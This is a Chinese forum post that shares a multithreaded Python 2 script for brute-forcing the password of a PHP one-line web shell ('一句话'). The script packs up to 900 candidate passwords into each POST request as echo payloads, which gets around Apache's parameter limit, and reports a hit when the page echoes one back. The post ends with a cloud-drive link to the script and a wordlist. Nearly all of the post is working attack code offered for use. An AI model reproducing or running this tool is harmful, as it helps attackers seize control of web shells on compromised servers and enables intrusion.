这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本
本地测试了下,十万密码只需要3秒,速度还是可以的
[Python] 纯文本查看 复制代码 # coding:utf-8
# __author__ : learn
import threading,Queue,requests
class Add_password:
def __init__(self,dictname,queue):
self.dictname = dictname
self.queue = queue
# 加载字典 以\n分割 保存到list
def load_file(self):
with open(self.dictname,'r') as f:
lines = f.readlines()
return map(lambda x:x.split('\n')[0],lines)
#========================
'''分割数量大于 900 密码数量的字典算法
因为apache 最多传入1000个参数。 如果 密码数量大于900 就分割字典
'''
def split_file(self):
file_read = self.load_file()
file_list = []
if len(file_read) < 900:
file_list.append(file_read)
elif len(file_read)%900 !=0 and len(file_read)/900 >= 1:
split_num = len(file_read)
for num in range(split_num/900-1):
file_list.append(file_read[num*900:num*900+900])
file_list.append(file_read[split_num/900*900:])
return file_list
# 主要的部分 用来生成payload 加入队列
# 待post参数的格式为 {"pass":"echo 'pass';","pass2":"echo 'pass2';",...}
def main(self):
php_passwords = self.split_file()
for q in php_passwords:
payloads = [x for x in q]
payload = map(lambda x:{x:"echo '%s';"%x},payloads)
payload = reduce(lambda x,y:dict(x,**y),payload)
self.queue.put(payload)
return
class Main(threading.Thread):
def __init__(self,url,queue):
threading.Thread.__init__(self)
self.url = url
self.queue = queue
self.payloads = {}
def run(self):
while True:
if self.queue.empty():
break
data = self.queue.get_nowait()
req = requests.post(self.url,data=data)
#这里我判断的是 post之后的页面有没有echo的值 导致脚本局限性很大。
if req.content != '':
print 'Password Found: '+req.content
exit(0)
if __name__ == '__main__':
import sys
threads = []
q = Queue.Queue(maxsize=0)
args = sys.argv
if len(args)<3 or args[1][:4]!='http' or args[2][-3:] != 'txt':
print 'usage: python %s [url]http://www.xxx.com/shell[/url],php password.txt'%args[0]
sys.exit(0)
Add_password(args[2],q).main()
for i in range(15):#这里可以适当的修改,速度会提高
threads.append(Main(args[1],q))
for t in threads:
t.start()
for j in threads:
j.join()
发帖上传附件一直出错,把脚本和字典打包到云盘吧
地址:链接:http://pan.baidu.com/s/1gePgoUn 密码:5rnf
|